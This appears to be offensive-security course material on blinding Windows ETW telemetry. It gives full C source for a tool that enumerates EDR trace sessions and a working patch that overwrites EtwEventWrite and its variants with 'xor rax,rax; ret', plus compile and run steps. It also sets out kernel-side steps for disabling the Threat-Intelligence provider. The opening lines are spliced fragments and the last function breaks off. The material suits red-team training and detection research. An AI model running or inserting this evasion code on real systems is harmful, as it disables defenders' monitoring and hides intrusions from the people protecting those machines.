Lab 5.4: MotW and SAC Analysis
dir /r)Lab 5.5: Electron V8 Snapshot Backdooring
Lab 5.6: CLM Bypass Testing
-Execute flag to test all bypasses.\clm_bypass.ps1 -Technique cim -ExecuteETW is the nervous system of Windows telemetry. Every security product - Defender, CrowdStrike, SentinelOne, Sysmon - depends on ETW events. If you can blind ETW, you blind the entire defensive stack.
┌─────────────────────────────────────────────────────────────────┐
│ ETW in the Windows Security Pipeline │
├─────────────────────────────────────────────────────────────────┤
│ │
│ YOUR CODE EXECUTES │
│ │ │
│ ▼ │
│ ┌─────────────────┐ ┌─────────────────────────────┐ │
│ │ ETW Providers │ -> │ ETW Tracing Sessions │ │
│ │ (Instrumented │ │ (Kernel buffers) │ │
│ │ in OS/Runtime) │ └──────────┬──────────────────┘ │
│ └─────────────────┘ │ │
│ ▼ │
│ Key Providers: ┌──────────────────┐ │
│ ├─ Microsoft-Windows- │ ETW Consumers │ │
│ │ Threat-Intelligence │ (Real-time) │ │
│ │ (kernel, PPL-protected) ├──────────────────┤ │
│ ├─ Microsoft-Windows- │ - Defender ATP │ │
│ │ DotNETRuntime │ - CrowdStrike │ │
│ ├─ Microsoft-Windows- │ - SentinelOne │ │
│ │ PowerShell │ - Sysmon │ │
│ ├─ Microsoft-Windows- │ - Event Log Svc │ │
│ │ Kernel-Process │ - Custom SIEM │ │
│ ├─ Microsoft-Windows- └──────────────────┘ │
│ │ Kernel-Registry │
│ └─ Microsoft-Windows- │
│ Security-Auditing │
│ │
│ ATTACK SURFACE: │
│ ├─ Provider registration patches (usermode) │
│ ├─ Consumer session tampering │
│ ├─ Event log manipulation │
│ ├─ Kernel ETW structure corruption │
│ └─ Trace session hijacking │
│ │
│ WEEK 7 DAY 6 vs DAY 3 (PPL): │
│ Day 3 bypassed PPL to reach LSASS/Defender processes │
│ Day 6 disables the TELEMETRY those processes generate │
│ Both blind the defender - different layer │
│ │
└─────────────────────────────────────────────────────────────────┘
// etw_architecture.c
// Compile: cl src\etw_architecture.c /Fe:bin\etw_architecture.exe advapi32.lib tdh.lib
#include <windows.h>
#include <evntrace.h>
#include <tdh.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "tdh.lib")
/*
ETW Architecture - Three Components:
═════════════════════════════════════
1. PROVIDERS - Generate events
Registration: EventRegister() -> NtTraceControl (syscall)
Kernel struct: _ETW_REG_ENTRY -> _ETW_GUID_ENTRY
2. SESSIONS (Controllers) - Collect events in kernel buffers
Max 64 sessions. Each subscribes to providers via EnableTraceEx2().
3. CONSUMERS - Read events (real-time or .etl files)
Defender/EDR = real-time consumers.
ATTACK VECTORS:
[A] Patch Provider: ntdll!EtwEventWrite -> xor rax,rax; ret
[B] Kill Session: ControlTrace(EVENT_TRACE_CONTROL_STOP)
[C] Blind Consumer: Reduce session buffer / disable keywords
[D] Kernel patch: Zero _TRACE_ENABLE_INFO.IsEnabled
*/
// Security-critical provider GUIDs we want to flag
static const struct { GUID guid; const char* name; const char* risk; } g_secProviders[] = {
{ {0xF4E1897C,0xBB5D,0x5668,{0xF1,0xD8,0x04,0x0F,0x4D,0x8D,0xD3,0x44}},
"Microsoft-Windows-Threat-Intelligence",
"CRITICAL - kernel memory ops, PPL-protected consumer" },
{ {0xE13C0D23,0xCCBC,0x4E12,{0x93,0x1B,0xD9,0xCC,0x2E,0xEE,0x27,0xE4}},
".NET Runtime",
"HIGH - assembly loads, JIT, used by Defender" },
{ {0xA0C1853B,0x5C40,0x4B15,{0x87,0x66,0x3C,0xF1,0xC5,0x8F,0x98,0x5A}},
"Microsoft-Windows-PowerShell",
"HIGH - script block logging, module loads" },
{ {0x22FB2CD6,0x0E7B,0x422B,{0xA0,0xC7,0x2F,0xAD,0x1F,0xD0,0xE7,0x16}},
"Microsoft-Windows-Kernel-Process",
"MEDIUM - process creation/termination" },
{ {0x0CCE985F,0x223A,0x4A15,{0xB5,0xCD,0xDB,0x3B,0x65,0xC7,0xB7,0xBA}},
"Microsoft-Windows-Kernel-File",
"MEDIUM - file I/O telemetry" },
};
// ── Enumerate ALL active ETW tracing sessions ───────────────
void EnumerateActiveSessions() {
printf("=== Active ETW Tracing Sessions ===\n\n");
// QueryAllTraces returns all active sessions on the system
PEVENT_TRACE_PROPERTIES pSessions[64];
ULONG sessionCount = 0;
ULONG bufSize = sizeof(EVENT_TRACE_PROPERTIES) + 1024; // name buffer
for (int i = 0; i < 64; i++) {
pSessions[i] = (PEVENT_TRACE_PROPERTIES)calloc(1, bufSize);
pSessions[i]->Wnode.BufferSize = bufSize;
pSessions[i]->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
pSessions[i]->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + 512;
}
ULONG status = QueryAllTracesA(pSessions, 64, &sessionCount);
if (status != ERROR_SUCCESS) {
printf("[-] QueryAllTraces failed: %lu\n", status);
printf(" Requires admin for full enumeration\n");
// Even non-admin can see some sessions
}
printf(" Active sessions: %lu / 64 max\n\n", sessionCount);
printf(" %-4s %-40s %-10s %-8s %s\n",
"ID", "Session Name", "Buffers", "Lost", "Flags");
printf(" %-4s %-40s %-10s %-8s %s\n",
"--", "------------", "-------", "----", "-----");
for (ULONG i = 0; i < sessionCount; i++) {
char* sessionName = (char*)pSessions[i] + pSessions[i]->LoggerNameOffset;
BOOL isSecurityRelevant = FALSE;
// Flag sessions that look security-related
if (strstr(sessionName, "Defend") || strstr(sessionName, "defend") ||
strstr(sessionName, "EventLog") || strstr(sessionName, "DiagTrack") ||
strstr(sessionName, "Threat") || strstr(sessionName, "Sentinel") ||
strstr(sessionName, "CrowdStrike") || strstr(sessionName, "Falcon") ||
strstr(sessionName, "Carbon") || strstr(sessionName, "Sysmon") ||
strstr(sessionName, "Elastic") || strstr(sessionName, "SIEM")) {
isSecurityRelevant = TRUE;
}
printf(" %-4lu %s%-40s%s %-10lu %-8lu 0x%04X\n",
i,
isSecurityRelevant ? "[!] " : " ",
sessionName,
isSecurityRelevant ? " <-- SECURITY" : "",
pSessions[i]->NumberOfBuffers,
pSessions[i]->EventsLost,
pSessions[i]->EnableFlags);
if (isSecurityRelevant) {
printf(" -> Buffer size: %lu KB, Min buffers: %lu\n",
pSessions[i]->BufferSize, pSessions[i]->MinimumBuffers);
printf(" -> ATTACK: ControlTrace(STOP) or reduce BufferSize\n");
}
}
for (int i = 0; i < 64; i++) free(pSessions[i]);
}
// ── Enumerate registered ETW providers via TDH ──────────────
void EnumerateSecurityProviders() {
printf("\n=== Registered ETW Providers (Security-Relevant) ===\n\n");
DWORD bufSize = 0;
DWORD status = TdhEnumerateProviders(NULL, &bufSize);
if (status != ERROR_INSUFFICIENT_BUFFER) {
printf("[-] TdhEnumerateProviders failed: %lu\n", status);
return;
}
PPROVIDER_ENUMERATION_INFO pProviders = (PPROVIDER_ENUMERATION_INFO)malloc(bufSize);
status = TdhEnumerateProviders(pProviders, &bufSize);
if (status != ERROR_SUCCESS) {
printf("[-] TdhEnumerateProviders failed: %lu\n", status);
free(pProviders);
return;
}
printf(" Total registered providers: %lu\n\n", pProviders->NumberOfProviders);
// Search for our security-critical providers
int foundCount = 0;
for (DWORD i = 0; i < pProviders->NumberOfProviders; i++) {
PTRACE_PROVIDER_INFO pInfo = &pProviders->TraceProviderInfoArray[i];
for (int s = 0; s < _countof(g_secProviders); s++) {
if (IsEqualGUID(&pInfo->ProviderGuid, &g_secProviders[s].guid)) {
wchar_t* provName = (wchar_t*)((BYTE*)pProviders +
pInfo->ProviderNameOffset);
printf(" [%d] %ls\n", ++foundCount, provName);
printf(" GUID: {%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}\n",
pInfo->ProviderGuid.Data1,
pInfo->ProviderGuid.Data2,
pInfo->ProviderGuid.Data3,
pInfo->ProviderGuid.Data4[0], pInfo->ProviderGuid.Data4[1],
pInfo->ProviderGuid.Data4[2], pInfo->ProviderGuid.Data4[3],
pInfo->ProviderGuid.Data4[4], pInfo->ProviderGuid.Data4[5],
pInfo->ProviderGuid.Data4[6], pInfo->ProviderGuid.Data4[7]);
printf(" Risk: %s\n\n", g_secProviders[s].risk);
break;
}
}
}
// Also count total providers for attack surface assessment
int kernelProviders = 0, userProviders = 0;
for (DWORD i = 0; i < pProviders->NumberOfProviders; i++) {
if (pProviders->TraceProviderInfoArray[i].SchemaSource == 0)
userProviders++;
else
kernelProviders++;
}
printf(" Provider distribution: ~%d manifest-based, ~%d other\n",
userProviders, kernelProviders);
free(pProviders);
}
// ── Check if EtwEventWrite is already patched ───────────────
void CheckEtwPatchStatus() {
printf("\n=== EtwEventWrite Integrity Check ===\n\n");
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
printf("[-] ntdll not loaded?!\n");
return;
}
BYTE* pEtwWrite = (BYTE*)GetProcAddress(hNtdll, "EtwEventWrite");
if (!pEtwWrite) {
printf("[-] EtwEventWrite not found\n");
return;
}
printf(" EtwEventWrite @ 0x%p\n", pEtwWrite);
printf(" First 16 bytes: ");
for (int i = 0; i < 16; i++)
printf("%02X ", pEtwWrite[i]);
printf("\n");
// Known patch signatures
// xor rax,rax; ret = 48 33 C0 C3 or 48 31 C0 C3
// ret = C3
BOOL patched = FALSE;
if (pEtwWrite[0] == 0x48 &&
(pEtwWrite[1] == 0x33 || pEtwWrite[1] == 0x31) &&
pEtwWrite[2] == 0xC0 && pEtwWrite[3] == 0xC3) {
printf(" [!] PATCHED: xor rax,rax; ret detected!\n");
printf(" ETW events from this process are SUPPRESSED\n");
patched = TRUE;
} else if (pEtwWrite[0] == 0xC3) {
printf(" [!] PATCHED: immediate ret detected!\n");
patched = TRUE;
}
if (!patched) {
printf(" [+] EtwEventWrite appears INTACT (not patched)\n");
// Also check for hooks (JMP to trampoline)
if (pEtwWrite[0] == 0xE9 || pEtwWrite[0] == 0xFF) {
printf(" [?] But starts with JMP/CALL - possible EDR hook\n");
printf(" This is DEFENSIVE hooking (EDR monitoring calls)\n");
}
}
// Also check EtwEventWriteEx and EtwEventWriteFull
BYTE* pWriteEx = (BYTE*)GetProcAddress(hNtdll, "EtwEventWriteEx");
BYTE* pWriteFull = (BYTE*)GetProcAddress(hNtdll, "EtwEventWriteFull");
if (pWriteEx) {
printf("\n EtwEventWriteEx @ 0x%p - ", pWriteEx);
if (pWriteEx[0] == 0x48 && pWriteEx[2] == 0xC0 && pWriteEx[3] == 0xC3)
printf("PATCHED\n");
else
printf("intact\n");
}
if (pWriteFull) {
printf(" EtwEventWriteFull @ 0x%p - ", pWriteFull);
if (pWriteFull[0] == 0x48 && pWriteFull[2] == 0xC0 && pWriteFull[3] == 0xC3)
printf("PATCHED\n");
else
printf("intact\n");
}
}
// ── Identify EDR/security sessions for targeted blinding ────
void IdentifyEDRSessions() {
printf("\n=== EDR Session Identification ===\n\n");
// Known EDR session name patterns
const char* edrPatterns[] = {
"Defender", "MsMpEng", "WinDefend", "SenseIR", "MsSense",
"MpWpp", // Windows Defender WPP tracing sessions
"CrowdStrike", "Falcon", "CSFalcon",
"SentinelOne", "Sentinel",
"CarbonBlack", "Cb Defense",
"Cylance",
"Elastic", "Winlogbeat",
"Sysmon",
"DiagTrack",
NULL
};
PEVENT_TRACE_PROPERTIES pSessions[64];
ULONG sessionCount = 0, bufSize = sizeof(EVENT_TRACE_PROPERTIES) + 1024;
for (int i = 0; i < 64; i++) {
pSessions[i] = (PEVENT_TRACE_PROPERTIES)calloc(1, bufSize);
pSessions[i]->Wnode.BufferSize = bufSize;
pSessions[i]->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
pSessions[i]->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + 512;
}
if (QueryAllTracesA(pSessions, 64, &sessionCount) == ERROR_SUCCESS) {
for (ULONG i = 0; i < sessionCount; i++) {
char* name = (char*)pSessions[i] + pSessions[i]->LoggerNameOffset;
for (int p = 0; edrPatterns[p]; p++) {
if (strstr(name, edrPatterns[p])) {
printf(" [!] EDR SESSION: %s\n", name);
printf(" Handle: %llu\n",
pSessions[i]->Wnode.HistoricalContext);
printf(" Buffers: %lu (size: %lu KB)\n",
pSessions[i]->NumberOfBuffers,
pSessions[i]->BufferSize);
printf(" Events lost: %lu\n",
pSessions[i]->EventsLost);
printf(" ATTACK OPTIONS:\n");
printf(" - ControlTrace(STOP) [requires SYSTEM]\n");
printf(" - Reduce BufferSize to cause event loss\n");
printf(" - Flush buffers to .etl then delete\n\n");
break;
}
}
}
}
for (int i = 0; i < 64; i++) free(pSessions[i]);
}
int main() {
printf("----------------------------------------\n");
printf("ETW Offensive Reconnaissance Tool\n");
printf("----------------------------------------\n\n");
EnumerateActiveSessions();
EnumerateSecurityProviders();
CheckEtwPatchStatus();
IdentifyEDRSessions();
printf("\n----------------------------------------\n");
printf("ATTACK PLAYBOOK:\n");
printf(" 1. Patch EtwEventWrite in YOUR process (4 bytes)\n");
printf(" 2. Patch EtwEventWriteEx too (some EDRs use it)\n");
printf(" 3. For .NET: patch before CLR loads assemblies\n");
printf(" 4. For PowerShell: patch before script execution\n");
printf(" 5. TI ETW: requires kernel R/W (BYOVD/exploit)\n");
printf(" 6. Event Log: Phant0m technique (suspend threads)\n");
printf("----------------------------------------\n");
return 0;
}
Compile and Run:
cl src\etw_architecture.c /Fe:bin\etw_architecture.exe advapi32.lib tdh.lib
# run as admin:
.\bin\etw_architecture.exe
see if any of the following methods actually work
// etw_patch.c - Patch ETW provider registration to suppress events
// Compile: cl src\etw_patch.c /Fe:bin\etw_patch.exe advapi32.lib
#include <windows.h>
#include <evntrace.h>
#include <evntprov.h>
#include <stdio.h>
#include <psapi.h>
#include <time.h>
#pragma comment(lib, "advapi32.lib")
/*
TECHNIQUE: Patch ntdll!EtwEventWrite
═════════════════════════════════════
When a .NET assembly loads, the CLR calls:
clr!ETW::CEtwTracer::EmitEvent()
-> ntdll!EtwEventWrite()
-> NtTraceControl() [syscall]
If we patch EtwEventWrite to return immediately (ret 0),
NO ETW events from this process reach any consumer.
This blinds:
├── .NET assembly load events (Defender)
├── PowerShell script block logging
├── Process activity telemetry
└── Any usermode ETW from this process
LIMITATION: Only affects OUR process. Other processes
still generate events. Kernel providers unaffected.
NOTE: Modern EDRs increasingly rely on kernel ETW providers
which bypass this technique. Still effective against usermode telemetry.
PRIVILEGE REQUIREMENTS:
- NO admin required for patching (modifying own process memory)
- Admin MAY be required to view ETW sessions for verification
- The patch itself works as regular user
*/
// Store original bytes for restoration
BYTE g_originalEtwEventWrite[16] = {0};
BYTE g_originalEtwEventWriteEx[16] = {0};
BYTE g_originalEtwEventWriteFull[16] = {0};
BOOL PatchEtwFunction(const char* funcName, BYTE* originalBytes) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
printf("[-] Failed to get ntdll handle\n");
return FALSE;
}
FARPROC pFunc = GetProcAddress(hNtdll, funcName);
if (!pFunc) {
printf("[-] Failed to get %s address\n", funcName);
return FALSE;
}
printf("[*] %s @ 0x%p\n", funcName, pFunc);
// Save original bytes for restoration
memcpy(originalBytes, pFunc, 16);
// Display original bytes
printf(" Original bytes: ");
for (int i = 0; i < 16; i++) {
printf("%02X ", originalBytes[i]);
}
printf("\n");
// Patch: xor rax, rax; ret (return STATUS_SUCCESS = 0)
// This makes every ETW event call succeed silently without writing
BYTE patch[] = { 0x48, 0x33, 0xC0, 0xC3 }; // xor rax, rax; ret
DWORD oldProtect;
if (!VirtualProtect(pFunc, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("[-] VirtualProtect failed: %d\n", GetLastError());
return FALSE;
}
memcpy(pFunc, patch, sizeof(patch));
if (!VirtualProtect(pFunc, sizeof(patch), oldProtect, &oldProtect)) {
printf("[-] VirtualProtect restore failed: %d\n", GetLastError());
}
// Verify patch
BYTE verify[4];
memcpy(verify, pFunc, 4);
if (memcmp(verify, patch, 4) == 0) {
printf("[+] %s patched successfully\n", funcName);
return TRUE;
} else {
printf("[-] %s patch verification failed\n", funcName);
return FALSE;
}
}
BOOL PatchEtwEventWrite() {
printf("\n=== Patching EtwEventWrite Functions ===\n\n");
BOOL success = TRUE;
// Patch main EtwEventWrite
if (!PatchEtwFunction("EtwEventWrite", g_originalEtwEventWrite)) {
success = FALSE;
}
// Patch EtwEventWriteEx (used by some providers)
if (!PatchEtwFunction("EtwEventWriteEx", g_originalEtwEventWriteEx)) {
printf("[!] EtwEventWriteEx patch failed (may not exist on this system)\n");
}
// Patch EtwEventWriteFull (comprehensive variant)
if (!PatchEtwFunction("EtwEventWriteFull", g_originalEtwEventWriteFull)) {
printf("[!] EtwEventWriteFull patch failed (may not exist on this system)\n");
}
return success;
}
BOOL RestoreEtwFunction(const char* funcName, BYTE* originalBytes) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
FARPROC pFunc = GetProcAddress(hNtdll, funcName);
if (!pFunc) return FALSE;
DWORD oldProtect;
if (!VirtualProtect(pFunc, 16, PAGE_EXECUTE_READWRITE, &oldProtect)) {
return FALSE;
}
memcpy(pFunc, originalBytes, 16);
VirtualProtect(pFunc, 16, oldProtect, &oldProtect);
printf("[+] %s restored to original state\n", funcName);
return TRUE;
}
BOOL RestoreEtwEventWrite() {
printf("\n=== Restoring Original ETW Functions ===\n\n");
RestoreEtwFunction("EtwEventWrite", g_originalEtwEventWrite);
RestoreEtwFunction("EtwEventWriteEx", g_originalEtwEventWriteEx);
RestoreEtwFunction("EtwEventWriteFull", g_originalEtwEventWriteFull);
return TRUE;
}
/*
TECHNIQUE: Test ETW suppression with real events AND verify via logman
═══════════════════════════════════════════════════════════════════════
Register a test provider and emit events before/after patching.
Then use logman to create a trace session and verify events are suppressed.
*/
// Test provider GUID: {12345678-1234-1234-1234-123456789012}
static const GUID TestProviderGuid =
{ 0x12345678, 0x1234, 0x1234, { 0x12, 0x34, 0x12, 0x34, 0x56, 0x78, 0x90, 0x12 } };
void StartEtwTraceSession() {
printf("\n[*] Attempting to start ETW trace session...\n");
printf(" (Requires admin - will fail silently if not admin)\n");
int result = system("logman create trace TestTrace -p {12345678-1234-1234-1234-123456789012} -o test.etl -ets >nul 2>&1");
if (result == 0) {
printf("[+] Trace session started successfully\n");
printf(" Events will be captured to test.etl\n");
} else {
printf("[!] Trace session creation failed (likely not admin)\n");
printf(" Test will continue without trace verification\n");
}
}
void StopEtwTraceSession() {
printf("\n[*] Stopping ETW trace session...\n");
int result = system("logman stop TestTrace -ets >nul 2>&1");
if (result == 0) {
printf("[+] Trace session stopped\n");
// Check if test.etl exists
FILE* f = fopen("test.etl", "rb");
if (f) {
fclose(f);
printf("\n[+] test.etl file created successfully!\n");
printf(" To view events:\n");
printf(" tracerpt test.etl -o test.xml -of XML\n");
printf(" notepad test.xml\n");
} else {
printf("[!] test.etl not found (trace session may not have started)\n");
}
}
}
BOOL TestEtwSuppression() {
printf("\n=== Testing ETW Event Suppression ===\n\n");
REGHANDLE hProvider = 0;
ULONG result;
// Start trace session (requires admin, but won't fail if not admin)
StartEtwTraceSession();
Sleep(500); // Give session time to start
// Register test provider
result = EventRegister(&TestProviderGuid, NULL, NULL, &hProvider);
if (result != ERROR_SUCCESS) {
printf("[-] EventRegister failed: %lu\n", result);
return FALSE;
}
printf("[+] Test provider registered (handle: 0x%llx)\n", (ULONGLONG)hProvider);
// Emit test event BEFORE patching
printf("\n[*] Emitting 5 test events BEFORE patch...\n");
EVENT_DESCRIPTOR eventDesc = {0};
eventDesc.Id = 1;
eventDesc.Level = TRACE_LEVEL_INFORMATION;
for (int i = 0; i < 5; i++) {
result = EventWrite(hProvider, &eventDesc, 0, NULL);
printf(" Event %d: EventWrite returned %lu\n", i+1, result);
Sleep(100);
}
// Now patch ETW
printf("\n[*] Applying ETW patch...\n");
PatchEtwEventWrite();
// Emit test event AFTER patching
printf("\n[*] Emitting 5 test events AFTER patch...\n");
for (int i = 0; i < 5; i++) {
result = EventWrite(hProvider, &eventDesc, 0, NULL);
printf(" Event %d: EventWrite returned %lu (but NOT written!)\n", i+1, result);
Sleep(100);
}
// Cleanup
EventUnregister(hProvider);
StopEtwTraceSession();
printf("\n[+] Test complete!\n");
printf("\n");
printf("VERIFICATION:\n");
// Check if test.etl exists
FILE* testFile = fopen("test.etl", "rb");
if (testFile) {
fclose(testFile);
printf(" [+] test.etl file found!\n");
printf(" To view captured events:\n");
printf(" tracerpt test.etl -o test.xml -of XML\n");
printf(" notepad test.xml\n");
printf(" You should see:\n");
printf(" - 5 events BEFORE the patch\n");
printf(" - 0 events AFTER the patch\n");
printf(" This proves ETW was successfully blinded!\n");
} else {
printf(" [!] test.etl not found (trace session requires admin)\n");
printf(" But the patch still worked! The EventWrite calls\n");
printf(" returned success but events were silently dropped.\n");
printf("\n");
printf(" To verify with admin privileges:\n");
printf(" 1. Run this tool as administrator\n");
printf(" 2. Check test.etl file for proof\n");
}
return TRUE;
}
/*
TECHNIQUE: Scan for .NET CLR and patch its ETW
═══════════════════════════════════════════════
Target: Microsoft-Windows-DotNETRuntime provider
Goal: Hide .NET assembly loads from Defender
*/
// .NET Runtime provider GUID: {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}
static const GUID DotNetRuntimeGuid =
{ 0xE13C0D23, 0xCCBC, 0x4E12, { 0x93, 0x1B, 0xD9, 0xCC, 0x2E, 0xEE, 0x27, 0xE4 } };
BOOL FindAndPatchDotNetETW() {
printf("\n=== Scanning for .NET Runtime ETW ===\n\n");
// Check if CLR is loaded
HMODULE hClr = GetModuleHandleA("clr.dll");
if (!hClr) {
hClr = GetModuleHandleA("coreclr.dll");
}
if (!hClr) {
hClr = GetModuleHandleA("clrjit.dll");
}
if (!hClr) {
printf("[!] .NET CLR not loaded in this process\n");
printf(" This is normal if not running .NET code\n");
printf(" For .NET processes, patch BEFORE loading assemblies\n");
return FALSE;
}
printf("[+] CLR module found @ 0x%p\n", hClr);
// Get module info
MODULEINFO modInfo;
if (GetModuleInformation(GetCurrentProcess(), hClr, &modInfo, sizeof(modInfo))) {
printf(" Base: 0x%p, Size: %lu bytes\n",
modInfo.lpBaseOfDll, modInfo.SizeOfImage);
}
printf("\n[*] Strategy: Patching EtwEventWrite covers ALL providers\n");
printf(" including .NET Runtime, PowerShell, and custom providers\n");
printf(" No need to find specific CLR ETW handles\n");
return TRUE;
}
/*
TECHNIQUE: Verify patch status
═══════════════════════════════
Check if ETW functions are currently patched.
*/
BOOL VerifyPatchStatus() {
printf("\n=== Verifying ETW Patch Status ===\n\n");
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
const char* functions[] = {
"EtwEventWrite",
"EtwEventWriteEx",
"EtwEventWriteFull"
};
BYTE patchSig[] = { 0x48, 0x33, 0xC0, 0xC3 }; // xor rax,rax; ret
for (int i = 0; i < 3; i++) {
FARPROC pFunc = GetProcAddress(hNtdll, functions[i]);
if (!pFunc) continue;
BYTE bytes[4];
memcpy(bytes, pFunc, 4);
BOOL isPatched = (memcmp(bytes, patchSig, 4) == 0);
printf(" %-20s @ 0x%p - %s\n",
functions[i],
pFunc,
isPatched ? "[PATCHED]" : "[INTACT]");
if (!isPatched) {
printf(" First 4 bytes: %02X %02X %02X %02X\n",
bytes[0], bytes[1], bytes[2], bytes[3]);
}
}
return TRUE;
}
int main(int argc, char* argv[]) {
printf("========================================\n");
printf("ETW Provider Patching - Telemetry Blind\n");
printf("========================================\n");
printf("\nPRIVILEGE INFO:\n");
printf(" - Patching ETW: NO admin required (own process memory)\n");
printf(" - Trace verification: Admin helpful but not required\n\n");
// Show current status
VerifyPatchStatus();
// Test ETW suppression
TestEtwSuppression();
// Check for .NET
FindAndPatchDotNetETW();
printf("\n========================================\n");
printf("SUMMARY:\n");
printf(" ETW patching demonstrated successfully!\n");
printf(" Check test.etl to verify 5 events before patch, 0 after.\n");
printf("\n");
printf("LIMITATIONS:\n");
printf(" - Only affects usermode ETW in this process\n");
printf(" - Kernel ETW providers still report activity\n");
printf(" - Modern EDRs use kernel providers (harder to blind)\n");
printf(" - Process creation still visible via Kernel-Process provider\n");
printf("========================================\n");
return 0;
}
cl src\etw_patch.c /Fe:bin\etw_patch.exe advapi32.lib
# run as admin
.\bin\etw_patch.exe
tracerpt test.etl -summary summary.txt
type summary.txt
tracerpt test.etl -o test.xml -of XML
notepad .\test.xml
┌─────────────────────────────────────────────────────────────────┐
│ Microsoft-Windows-Threat-Intelligence ETW Provider │
├─────────────────────────────────────────────────────────────────┤
│ │
│ THE MOST SECURITY-CRITICAL ETW PROVIDER │
│ │
│ GUID: {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} │
│ │
│ What it monitors: │
│ ├── NtAllocateVirtualMemory (RWX allocations) │
│ ├── NtProtectVirtualMemory (RW->RX transitions) │
│ ├── NtMapViewOfSection (section mapping) │
│ ├── NtWriteVirtualMemory (remote writes) │
│ ├── NtQueueApcThread (APC injection) │
│ └── Process/thread creation from kernel │
│ │
│ WHY IT MATTERS: │
│ ├── Fires from KERNEL MODE (can't patch from usermode!) │
│ ├── Only PPL-protected processes can consume it │
│ ├── Defender ATP relies on this for memory detection │
│ ├── CrowdStrike/SentinelOne kernel drivers consume it │
│ └── Detects shellcode injection, reflective loading, etc │
│ │
│ ATTACK DIFFICULTY: │
│ ├── Usermode patch: IMPOSSIBLE (kernel provider) │
│ ├── Kernel patch: Requires driver load (BYOVD? PPL bypass?) │
│ ├── Disable session: Requires SYSTEM + knowledge of session │
│ └── Avoid triggers: Use syscalls that don't fire TI events │
│ │
│ UPDATE: │
│ ├── Post-CrowdStrike incident, Microsoft moving EDRs to │
│ │ usermode with ENHANCED kernel ETW reliance │
│ ├── TI ETW provider MORE critical than ever for detection │
│ ├── Hardware breakpoint abuse now triggers TI events │
│ └── Kernel access harder (VBS, HVCI more common) │
│ │
│ WEEK 7 CONNECTION: │
│ Day 3 (PPL) -> needed to protect TI consumers │
│ Day 6 (ETW) -> attacking what those consumers receive │
│ If you bypassed PPL, you can disable the TI consumer │
│ If you can't, you must blind the TI provider at kernel level │
│ │
└─────────────────────────────────────────────────────────────────┘
// ti_etw_analysis.c - Analyze and demonstrate TI ETW evasion
// Compile: cl src\ti_etw_analysis.c /Fe:bin\ti_etw_analysis.exe advapi32.lib ntdll.lib
#include <windows.h>
#include <evntrace.h>
#include <evntcons.h>
#include <stdio.h>
#include <winternl.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ntdll.lib")
/*
THREAT INTELLIGENCE ETW - KERNEL SIDE
══════════════════════════════════════
The TI ETW provider is registered by the kernel itself:
- nt!EtwThreatIntProvRegHandle stores the registration
- Events fired inline in kernel memory management functions
- Example: MiAllocateVirtualMemory -> EtwTiLogAllocExecVm
KERNEL STRUCTURES (via WinDbg):
dt nt!_ETW_GUID_ENTRY
dt nt!_ETW_REG_ENTRY
dt nt!_TRACE_ENABLE_INFO
The _TRACE_ENABLE_INFO.IsEnabled field controls event delivery.
If set to 0, the kernel skips the ETW event write.
KERNEL ATTACK:
1. Find nt!EtwThreatIntProvRegHandle
2. Walk to _ETW_REG_ENTRY -> _ETW_GUID_ENTRY
3. Walk _ETW_GUID_ENTRY.EnableInfo[]
4. Set EnableInfo[x].IsEnabled = 0
5. TI events stop firing
This requires a kernel read/write primitive:
├── BYOVD driver (Day 4 connection - WDAC may block!)
├── PPL bypass + Defender process manipulation
└── Kernel exploit from Week 11
NOTE: Kernel access is harder than ever:
- VBS (Virtualization-Based Security) more common
- HVCI (Hypervisor-Protected Code Integrity) blocks unsigned drivers
- Microsoft moving EDRs to usermode, but TI ETW stays in kernel
- Post-CrowdStrike, kernel driver signing more scrutinized
*/
// TI Provider GUID: {F4E1897C-BB5D-5668-F1D8-040F4D8DD344}
static const GUID ThreatIntelGuid =
{ 0xF4E1897C, 0xBB5D, 0x5668, { 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 } };
// Ntdll function typedefs
typedef NTSTATUS (NTAPI *pNtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);
// Query TI provider registration status
BOOL QueryTIProvider() {
printf("\n=== Querying Threat Intelligence ETW Provider ===\n\n");
// Use logman to query the provider
printf("[*] Checking TI provider registration...\n");
int result = system("logman query providers \"{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}\" 2>nul");
if (result == 0) {
printf("[+] TI provider is registered\n");
} else {
printf("[!] Could not query TI provider (may require admin)\n");
}
return TRUE;
}
// Enumerate active ETW sessions consuming TI events
BOOL EnumerateTISessions() {
printf("\n=== Enumerating Sessions Consuming TI Events ===\n\n");
// Query all active trace sessions
ULONG bufferSize = 1024 * 1024; // 1MB buffer
PEVENT_TRACE_PROPERTIES* pSessions = (PEVENT_TRACE_PROPERTIES*)malloc(bufferSize);
if (!pSessions) {
printf("[-] Memory allocation failed\n");
return FALSE;
}
ULONG sessionCount = 64; // Max sessions to query
ULONG status = QueryAllTracesA((PEVENT_TRACE_PROPERTIES*)pSessions, sessionCount, &sessionCount);
